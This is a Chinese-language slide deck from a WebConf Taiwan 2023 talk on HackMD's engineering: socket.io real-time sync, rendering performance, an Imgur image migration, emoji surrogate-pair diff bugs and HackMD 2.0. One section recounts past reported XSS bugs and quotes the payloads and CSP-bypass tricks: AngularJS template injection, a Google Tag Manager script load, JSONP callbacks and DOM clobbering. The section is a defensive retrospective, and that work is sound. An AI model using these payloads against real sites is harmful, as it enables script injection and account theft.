<style> .reveal, .reveal h1, .reveal h2, .reveal h3, .reveal h4, .reveal h5, .reveal h6 { font-family: -apple-system, BlinkMacSystemFont, Roboto, "Helvetica Neue", Helvetica, Arial, PingFangTC-Light, "Microsoft JhengHei", "微軟正黑", sans-serif, "Apple Color Emoji"; text-transform: none; } .reveal p code { padding: 2px 4px; font-size: 90%; color: #c7254e; border-radius: 4px; } </style> ## <i class="fa fa-file-text"></i> HackMD 的前世與今生,以及未來 #### Build a community with open collaboration `Max Wu @ WebConf Taiwan 2023` --- <img src="https://i.imgur.com/PTbB46S.jpg" style="width:300px;height:300px;border-radius:50%"/> ## Max Wu ### 是個喜歡技術的人,也喜歡玩遊戲! --- ## <i class="fa fa-file-text"></i> HackMD #### Build a community with open collaboration 開放協作!建立社群! <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## 出沒於各式 Conf ==PyCon TW== ==COSCUP== ==MOPCON== ==SITCON== ==HITCON== ==LaravelConf== ==Modern Web== ==DevOpsDay Taipei== ==Agile Summit== <!-- .element: class="fragment" data-fragment-index="1" --> ## ++WebConf++ <!-- .element: class="fragment" data-fragment-index="2" --> ---- ## 上面有哪些社群? ==Ethereum== ==g0v== ==Rust Lang== ==nf-core== ==ETHTaipei== ==GovComms== ==Wikidata Taiwan== ==OpenStreetMap== ==HackingThursday== ==matplotlib== ==Fedora== ==OpenStack== ==Kubernetes== ==Node.js== ==OCaml== ==OpenStack== ==Nordic RSE== ==Astro== <!-- .element: class="fragment" data-fragment-index="1" --> ### 歡迎大家來蓋社群! <!-- .element: class="fragment" data-fragment-index="2" --> ---- ## 一句話說明 HackMD 用來做什麼? 用純文字與他人協作知識的平台 <!-- .element: class="fragment" data-fragment-index="1" --> 黑客松、社群小聚、遠端會議、實驗研究、開發文件等... <!-- .element: class="fragment" data-fragment-index="2" --> --- ## 網頁上的即時通訊 HackMD 如何讓協作能很即時的收到更新? <!-- .element: class="fragment" --> ---- ## 方案 1. polling 1. long-polling 1. Server-Sent Events 1. WebSocket<!-- .element: class="fragment highlight-blue"--> 1. WebRTC Note: polling:前端定時向伺服器發出請求 long-polling:前端發出一個長等待伺服器回應的請求 Server-Sent Events:由伺服器對瀏覽器發送資料 WebSocket:建立即時雙向溝通,基於 TCP WebRTC:建立即時影像與音訊溝通,大多基於 UDP ---- ## WebSocket 最開始的時候就採用 `socket.io` <!-- .element: class="fragment" --> - 常用的廣播方法、狀態事件與 namespace 都有提供 - 連線先 long-polling,瀏覽器與伺服器都支援 WS 才升級協定 - 傳遞事件時會預設編碼來節省流量,也可以自訂算法 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/HyhKGaPo2.png) <!-- .element: class="fragment" --> Note: socket.io 的編碼,有考慮瀏覽器支援度: https://socket.io/docs/v4/custom-parser/ 如果要傳遞 binary 的資料,可以考慮用 msgpack transport 可以改成只用 websocket 連線,避免需要設定複雜的 sticky session https://socket.io/docs/v4/using-multiple-nodes/ 要注意 socket.io 的功能版本差異,但是官網文件寫得相當完整,建議閱讀 https://socket.io/docs/v4/how-it-works/#socketio ---- ## 我們都稱作 MMORPG 筆記 = 房間 筆記內文 = 地圖 使用者 = 玩家 游標位置 = 玩家座標 <!-- .element: class="fragment" --> Note: 立即下載,送火槍兵! ---- ## 如何讓協作體驗更好? <span>同時有多人要加入房間 :arrow_right: </span> <span>需要排隊</span><!-- .element: class="fragment" --> <span>一台伺服器能乘載的人數有限 :arrow_right: </span> <span>分多台協作伺服器</span><!-- .element: class="fragment" --> <span>內文或是資料太大包 :arrow_right: </span> <span>只回傳差異範圍</span><!-- .element: class="fragment" --> ---- ## 如何知道使用者是否在線上? heartbeat :heartpulse: <!-- .element: class="fragment" --> 每隔幾秒跟伺服器問候一下 (ping/pong) 這樣才能確認正在線上的所有 clients 名單 <!-- .element: class="fragment" --> 如果 heartbeat 沒有回應,會視同斷線 因此如果前端太忙無法回應,就會斷線了喔! <!-- .element: class="fragment" --> ---- ## 架設多台協作節點 當有越多 clients,會消耗越多的記憶體 (線性成長) 因此有大量的使用者時,會需要多台的節點 可以用 Cluster 模式,這樣也能利用到多核心 CPU 的優勢 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/S13d6WQ22.png =700x) <!-- .element: class="fragment" --> Note: Node.js 預設是 single thread 如何架設多台請見: https://socket.io/docs/v4/using-multiple-nodes/ ---- ## Sticky Session 每台節點的 context 不同 (例如暫存的筆記內容不同) 當 client 傳遞事件時,需要保持跟其中一台對談 如果每次都送到不同節點,那節點之間就要付出事件傳遞的成本 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/BklRnW7n2.png =700x) <!-- .element: class="fragment" --> Note: 除非你可以讓節點的 context 是無狀態 (通常蠻困難的) 如何啟用 Sticky Session 請見: https://socket.io/docs/v4/using-multiple-nodes/ ---- ## 跨節點傳遞事件 有些狀況需要從讓協作節點間互相傳遞事件 或是讓外部傳遞事件進入 例如: 打 web API,需要讓協作節點同步資料,也向 client 發出事件 <!-- .element: class="fragment" --> 這時候可以用 `socket.io` Adapter,有多種實作方式: ==redis==, ==mongodb==, ==postgresql== <!-- .element: class="fragment" --> Note: `socket.io` adapter https://socket.io/docs/v4/adapter/ ---- ## 如何調整效能? 後端的 websocket 有多種實作,可以替換成 ==eiows==, ==uws==, ==uWebSockets.js==, ==ws== <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/r1Ntc7Ao3.png =700x) 也可以在使用者離線事件中,手動觸發 `gc()` 清出記憶體 <!-- .element: class="fragment" --> Note: 效能調整請見: https://socket.io/docs/v4/performance-tuning/ https://socket.io/docs/v4/memory-usage/ ---- ## 怎麼變成 `socket.io` 推坑大會 :sweat_smile: --- ## 即時連線效能調好了,那前端呢? 這個水很深 :water_polo: <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## 欸?我的 websocket 怎麼斷線了! 剛說過,因為有 heartbeat,如果: <!-- .element: class="fragment" --> - websocket 事件太密集,CPU 很忙 - 未知原因 main thread 太忙 - 使用者看其他分頁,分頁被暫停執行 - 使用者網路環境不好 <!-- .element: class="fragment" --> 以上都會導致 websocket 暫時斷線 自動重新連線的機制,`socket.io` 有實作 <!-- .element: class="fragment" --> ---- ## 那怎麼辦? 需要減少同時傳入的事件 可以將多個事件累計後變成一個事件發出 <!-- .element: class="fragment" --> 需要認知到 websocket 並不能保證使用者隨時都在線上 因此要做好斷線與重連的恢復機制 <!-- .element: class="fragment" --> Note: 詳細請讀:Page Lifecycle API https://developer.chrome.com/blog/page-lifecycle-api/#developer-recommendations-for-each-state ---- ## 長文件效能:分區段顯示 筆記內文 = 地圖 :world_map: <!-- .element: class="fragment" --> 如果內文很長需要捲動,顯示的效能會嚴重影響閱讀體驗 <!-- .element: class="fragment" --> 如果偵測哪些元素是在可見範圍,只針對那塊顯示與渲染? <!-- .element: class="fragment" --> 但檢查哪些元素是可見的,就會需要評估元素的大小與位置 `Element.getBoundingClientRect()` <!-- .element: class="fragment" --> 這會觸發瀏覽器 layout :arrow_right: 效能不好 <!-- .element: class="fragment" --> ==有方法可以讓元素自己告訴我它現在是否可以被看到嗎?== <!-- .element: class="fragment" --> Note: 建議閱讀 https://developer.chrome.com/blog/inside-browser-part3 ---- ## Intersection Observer API ``` let options = { root: document.querySelector("#scrollArea"), rootMargin: "0px", threshold: 1.0, }; let observer = new IntersectionObserver(callback, options); ``` <!-- .element: class="fragment" --> 建立一個 IntersectionObserver 給予可捲動的元素 root 當捲動元素,使內部的元素進入或是離開可見範圍時 會呼叫 callback 事件,參數會提供元素的資訊與交集比例 <!-- .element: class="fragment" --> `boundingClientRect, intersectionRatio, intersectionRect, isIntersecting, rootBounds, target, time` <!-- .element: class="fragment" --> Note: Intersection Observer API https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API ---- 這樣一來,我們可以完全不用去記錄與計算每個元素的位置 處於觀察者的角色,等待元素交集時的事件發生 <!-- .element: class="fragment" --> 當 `isIntersecting` 為 `true` 時,就標示這個元素可見 或是設定將不可見的元素給予 `visibility: hidden;` <!-- .element: class="fragment" --> 渲染時可以只針對可見元素處理做後處理 (例如:顯示數學公式) <!-- .element: class="fragment" --> ==效能好到不行 :tada:== <!-- .element: class="fragment" --> 但別忘記 XSS!顯示前要先過濾 (會影響效能) <!-- .element: class="fragment" --> Note: 延伸閱讀 MutationObserver https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver 如果有 DOM 要做部分更新,可以考慮用 https://github.com/patrick-steele-idem/morphdom --- ## 那些年遇過的 XSS ![](https://hackmd.io/_uploads/Hk070NJ2n.png) <!-- .element: class="fragment" data-fragment-index="1" --> 就像抓漏,怎樣都有洞... :hole: <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## 什麼是 XSS? 簡單來說,在使用者可以輸入的地方 寫入 `<script>` 或是各種奇形怪招 讓網頁執行的時候,組成非預期的程式碼 把使用者的資料傳出去,或是做不該做的事 (例如把 Cookies 偷走、偷偷跑挖礦程式) Note: https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting ---- ## XSS 環境清潔方式 幫 HTML 消毒 Sanitizer :face_with_monocle: <!-- .element: class="fragment" --> Before: `abc <script>alert(1)</script> def` <!-- .element: class="fragment" --> After: `abc def` <!-- .element: class="fragment" --> 你以為這樣就乾淨了嗎? :no_good: <!-- .element: class="fragment" --> Note: Chrome 有新實作 HTML Sanitizer API https://developer.mozilla.org/en-US/docs/Web/API/HTML_Sanitizer_API 我們採用了這套: https://github.com/leizongmin/js-xss ---- ## orange 的 XSS 直接對過濾 XSS 的 function `preventXSS` 下手 <!-- .element: class="fragment" --> 利用 CSP 允許的 `https://cdnjs.cloudflare.com/` 載入 AngularJS <!-- .element: class="fragment" --> 再用 template injection 執行不安全的程式碼 `{{constructor.constructor('alert(1)')()}}` <!-- .element: class="fragment" --> ==結論:HTML 註解語法也要處理!== <!-- .element: class="fragment" --> Note: CSP https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP 完整 writeup 與 payload 請見 https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html ---- ## k1tten 的 XSS 1. 利用 graphviz 圖表語法的語法錯誤提示區塊 <!-- .element: class="fragment" --> `$value.parent().append('<div class="alert alert-warning">' + err + '</div>')` <!-- .element: class="fragment" --> `err` 會直接顯示在網頁上,沒做過濾但是有字數限制 <!-- .element: class="fragment" --> 2. 利用 Google Tag Manager 繞過 CSP 載入不安全的程式碼 <!-- .element: class="fragment" --> ``` ```graphviz graph<<script src="https://www.google-analytics.com/gtm/js?id=GTM-P49RD4V"> ``` <!-- .element: class="fragment" --> ==結論:錯誤訊息也要過濾 XSS!== <!-- .element: class="fragment" --> Note: 完整 writeup https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md ---- ## maple3142 的 XSS HackMD 新增了顯示 figma 的功能,然後就出漏洞了... <!-- .element: class="fragment" --> 顯示時會找尋網頁 `data-figma-src` 的值來組合成 figma 網址 而這段沒過濾! <!-- .element: class="fragment" --> 這次被繞過 CSP 用的是 `www.google.com` 的 JSONP callback `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` <!-- .element: class="fragment" --> ~~怎麼被回報漏洞的速度比出功能的速度還快?!~~ <!-- .element: class="fragment" --> ==結論:code review 時也要檢查 XSS!== <!-- .element: class="fragment" --> Note: JSONP https://blog.logrocket.com/jsonp-demystified-what-it-is-and-why-it-exists/ 完整 writeup https://blog.maple3142.net/2022/08/03/hackmd-xss ---- ## splitline 的 XSS 利用嵌入 vimeo 影片的語法,顯示時會呼叫 vimeo 的 JSONP `//vimeo.com/api/v2/video/346762373.json?callback=alert#.json?callback=random` <!-- .element: class="fragment" --> 幸好 vimeo 會過濾 callback 的參數 callback 時會把不安全的指令過濾... <!-- .element: class="fragment" --> ==以為就這樣嗎?但漏洞總是挖呀挖挖呀挖== <!-- .element: class="fragment" --> ---- ## splitline 的 XSS cont. 發現 `https://vimeo.com/blog` 是用 WordPress 架設的 整個網站找啊找找到一程式碼,可以非同步載入 script <!-- .element: class="fragment" --> `s.src = _zxcvbnSettings.src;` <!-- .element: class="fragment" --> 這時候,使出 DOM clobbering,控制 src 的值放入 payload: <!-- .element: class="fragment" --> `<img src="https://host/xss.js" id="_zxcvbnSettings">` <!-- .element: class="fragment" --> ==結論:嚴格過濾影片網址 videoid== <!-- .element: class="fragment" --> Note: 完整 writeup & payload https://blog.splitline.tw/hackmd-xss ---- CSP 又被繞過了...外站的程式被利用成本站的漏洞... <!-- .element: class="fragment" --> 就算有 CSP, X-XSS-Protection, Sanitizer 等 也不代表就沒有 XSS 漏洞,總是有繞過的招數 <!-- .element: class="fragment" --> 做新功能時要檢查是否有正確的過濾字串再顯示 HackMD 需要非常注意過濾處理的效能 <!-- .element: class="fragment" --> 人生真難 :sob: <!-- .element: class="fragment" --> Note: X-XSS-Protection https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection --- ## Imgur 圖片大搬家 免費的最貴... :moneybag: <!-- .element: class="fragment" data-fragment-index="1" --> ---- 有一天,收到了這樣的通知 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/Hkdb7X9on.png) <!-- .element: class="fragment" --> Note: https://help.imgur.com/hc/en-us/articles/14415587638029/ ---- HackMD 從很早的時候就有整合 Imgur 方便使用者在寫筆記時能直接上傳圖片 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/H163AW7h2.png) 這下...麻煩了... <!-- .element: class="fragment" --> ---- 要寫程式處理所有筆記嗎? 有多少篇筆記裡面有多少個 imgur 圖片網址呢? ## 127 萬篇筆記中有 900 萬張圖片! <!-- .element: class="fragment" --> ---- ## 這...也太多圖片要處理了! 1. 要先從筆記拿出裡面的 imgur 網址 2. 建立筆記與網址的關聯 3. 把圖片備份後上傳到 S3 4. 將上傳後的網址紀錄回 DB <!-- .element: class="fragment" --> ==要如何快還要更快呢?== <!-- .element: class="fragment" --> ---- ## SQL comes to Rescue! 直接用 SQL 跑 regex 將筆記中的網址插入 table <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/BJtPZz73n.png =700x) <!-- .element: class="fragment" --> `regexp_matches(content, E'(https://i\\.imgur\\.com/([^\\s)\\n"\\/\\]\\?][a-zA-Z0-9]+\\.[a-zA-Z0-9]+))', 'g') AS urls` <!-- .element: class="fragment" --> ---- ## 轉移圖片到 S3 有這麼多圖片網址,要怎麼樣在一週內全部轉移? ==AWS Lambda 平行跑起來!== <!-- .element: class="fragment" --> 最多時有 15 個工作平行在跑,每秒可以轉移 50~100 張圖片 ![](https://hackmd.io/_uploads/SyvLMfX3n.png) <!-- .element: class="fragment" --> ---- 最後統計一共轉移了 1.9TB 的資料 :tada: ![](https://hackmd.io/_uploads/S1QuMMXn3.png) 未來所有使用者上傳圖片都使用 HackMD 的專屬圖床 避免這種事情再次發生,一勞永逸! <!-- .element: class="fragment" --> Note: 雖然外部服務很方便,但是當服務用量成長之後,很容易成為絆腳石 付錢或是自行架設都是解方 --- ## 比較字串中遇到的 Emoji 問題 裂開了就沒辦法顯示! :pencil2: :apple: <!-- .element: class="fragment" data-fragment-index="1" --> ---- 各位知道 emoji 可能是用多個 Unicode 表示嗎? 👋➕🏻🟰👋🏻 Emoji Modifier Sequences <!-- .element: class="fragment" --> Note: https://css-tricks.com/changing-emoji-skin-tones-programmatically/ ---- 更神奇的是! ![](https://hackmd.io/_uploads/r1X_O75s2.png) 怎麼會有兩個 Emoji 的 UTF-16 編碼相同? <!-- .element: class="fragment" --> Note: 試試看: ``` `😃`.charAt() `😄`.charAt() ``` ---- 同一個 Emoji 編碼怎麼又不同? ![](https://hackmd.io/_uploads/rky_F7csn.png) 🤯🤯🤯 Note: 試試看: ``` `😄`.codePointAt() ``` ---- Unicode 是個 21 位元的標準 JavaScript 採用的是 UTF-16,最多可以表示 65,535 個字元 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/BJsCK7qin.png) 有些 Emoji 編碼索引超過 65,535,就會用兩個 Unicode 組成 一個高位字元 (high surrogate) 與一個低位字元 (low surrogate) 組成一對 (surrogate pair) 來表示 <!-- .element: class="fragment" --> Note: 參考資料: http://russellcottrell.com/greek/utilities/SurrogatePairCalculator.htm https://evanhahn.com/utf-21/ https://docs.oracle.com/cd/E19683-01/816-3982/6ma7og00a/index.html ---- 相信大家用過 git 可能看過這個: ```diff @@ -1 +1 @@ -a +b ``` `GNU diff Unified Format` HackMD 會自動幫筆記產生版本紀錄 每個版本紀錄會計算出差異範圍 ==diff-match-patch== <!-- .element: class="fragment" --> ---- ## diff-match-patch 是什麼? Diff: 比較字串差異 Match: 找出相近字串 Patch: 套用字串差異 HackMD 採用這套比對文字差異 <!-- .element: class="fragment" --> Note: diff-match-patch https://github.com/google/diff-match-patch ---- 如果 diff 兩個 emoji 有可能把 emoji 切成兩個 Unicode 來比較 ``` Error: invalid input syntax for type json DETAIL: Unicode low surrogate must follow a high surrogate ``` <!-- .element: class="fragment" --> :warning: 然後資料庫就爆炸了 :warning: <!-- .element: class="fragment" --> ---- ## 前方有坑!!! ![](https://hackmd.io/_uploads/SyFVxG1nh.png) diff 可能會產出 lone surrogates 導致無法顯示 <!-- .element: class="fragment" --> Note: https://github.com/google/diff-match-patch/issues/59 坑點 1: `patch_toText` 坑點 2: `diff_main` 官方 demo 可以重現 https://neil.fraser.name/software/diff_match_patch/demos/diff.html ---- ## 補坑選項 ![](https://hackmd.io/_uploads/HkBWzGk3n.png) ![](https://hackmd.io/_uploads/BJSZfzJ3h.png) <!-- .element: class="fragment" --> ~~Google 萬年不 merge PR~~ <!-- .element: class="fragment" --> Note: https://github.com/google/diff-match-patch/pull/69 https://github.com/google/diff-match-patch/pull/13 https://github.com/google/diff-match-patch/pull/80 ---- ## After 補坑 ![](https://hackmd.io/_uploads/HygRlGk3n.png) 可以正常的 diff 出 emoji 的變更了!! :fireworks: :tada: :100: :+1: :man_dancing: :watermelon: <!-- .element: class="fragment" --> Note: 我們採用了這個 PR https://github.com/google/diff-match-patch/pull/80 似乎 Simplenote 也用這個修正,沒出過什麼問題 --- # <i class="fa fa-file-text"></i> HackMD 2.0 ---- ## 知識的三個層次 自己 :smile: <!-- .element: class="fragment" --> <span>自己與未來的他人 :arrow_right: </span><!-- .element: class="fragment" -->有限的團體<!-- .element: class="fragment" --> <span>與不特定對象連結<!-- .element: class="fragment highlight-red" --> :arrow_right: </span><!-- .element: class="fragment" --> 公眾<!-- .element: class="fragment" --> Note: 各位做筆記時,是為了自己還是誰呢? ---- ## 全新設計的編輯器 ![](https://hackmd.io/_uploads/HJEUy4mnn.png =700x) <!-- .element: class="fragment" --> ==Light/Dark mode== <!-- .element: class="fragment" --> ==支援 Grammarly、手機版體驗提升== <!-- .element: class="fragment" --> ==編輯與顯示效能大提升== <!-- .element: class="fragment" --> ---- ## 用協作打造新型態知識網路 社群、留言討論、探索知識 <!-- .element: class="fragment" --> # 串連世界上的節點! <!-- .element: class="fragment" --> ---- ## 現在立即體驗 ![](https://hackmd.io/_uploads/rynW4VQh2.png =600x) https://hackmd.io 設定 :arrow_right: Preview features --- ## Thanks for listening! ![](https://hackmd.io/_uploads/ByMiD4Xn2.png) https://hackmd.io/@MaxWu/hackmd-webconf-2023 本簡報使用 HackMD 製作與發佈
{"title":"HackMD @ WebConf Taiwan 2023","description":"HackMD 作為大家寫筆記與分享的好夥伴已經踏入 7 年了!這次有機會與各位分享 HackMD 曾經踩過的坑、用到的技術細節。主題包含:網頁上的即時通訊、Imgur 大搬家、比較字串中遇到的 Emoji 問題、Imgur 圖片大搬家、這些年來遇到的 XSS、以及 HackMD 2.0 的展望!","slideOptions":"{\"width\":1200,\"theme\":\"white\",\"preloadIframes\":true,\"viewDistance\":5,\"help\":true,\"showNotes\":true}","contributors":"[{\"id\":\"61af98f4-b303-4819-b08b-aa32cf6677a8\",\"add\":18637,\"del\":2238}]"}
    3353 views